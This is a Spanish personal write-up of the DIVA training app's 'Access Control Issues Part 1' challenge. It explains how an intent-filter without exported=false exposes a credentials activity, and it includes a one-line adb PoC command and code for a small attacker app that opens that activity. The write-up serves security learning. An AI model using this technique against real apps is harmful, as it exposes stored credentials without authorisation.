Skip to content

9- Access Control Issues - Part 1

Pasted image 20260826185944
java
package jakhar.aseem.diva;

import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Toast;

/* JADX INFO: loaded from: classes.dex */
public class AccessControl1Activity extends AppCompatActivity {
    @Override // android.support.v7.app.AppCompatActivity, android.support.v4.app.FragmentActivity, android.support.v4.app.BaseFragmentActivityDonut, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_access_control1);
    }

    public void viewAPICredentials(View view) {
        Intent i = new Intent();
        i.setAction("jakhar.aseem.diva.action.VIEW_CREDS");
        if (i.resolveActivity(getPackageManager()) != null) {
            startActivity(i);
        } else {
            Toast.makeText(this, "Error while getting API details", 0).show();
            Log.e("Diva-aci1", "Couldn't resolve the Intent VIEW_CREDS to our activity");
        }
    }
}

Para saber lo que esta ocurriendo aquí hay que definir varias cosas

Un Intent es un objeto de mensajería en Android que describe una operación que se quiere realizar, o un evento que ocurrió, y sirve para comunicar componentes entre sí (dentro de la misma app o entre apps distintas).

java
Intent i = new Intent();

Se usa para actividades, servicios, broadcast ...

En este caso se usa para llamar un action: una única pantalla con interfaz de usuario.

java
i.setAction("jakhar.aseem.diva.action.VIEW_CREDS");

Pero la vulnerabilidad no está en el código, la vuln está en el AndroidManifest.xml

xml
<activity
    android:label="@string/apic_label"
    android:name="jakhar.aseem.diva.APICredsActivity">
    <intent-filter>
        <action android:name="jakhar.aseem.diva.action.VIEW_CREDS"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>

SI se declara una activity con <intent-filter></intent-filter> y no se indica exported="false" entonces cualquier app puede usar esa action

La POC sería esta :

bash
adb shell am start -a jakhar.aseem.diva.action.VIEW_CREDS

Y directamente se nos abre la actividad

Pasted image 20260827183929

Y también podemos hacernos un APP maliciosa

java
package com.attacker.poc;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent i = new Intent();
        i.setAction("jakhar.aseem.diva.action.VIEW_CREDS");
        startActivity(i);
    }
}

Lo único que necesitamos saber es el string jakhar.aseem.diva.action.VIEW_CREDS que lo podemos sacar directamente del APK descompilado.

Notas personales de seguridad ofensiva.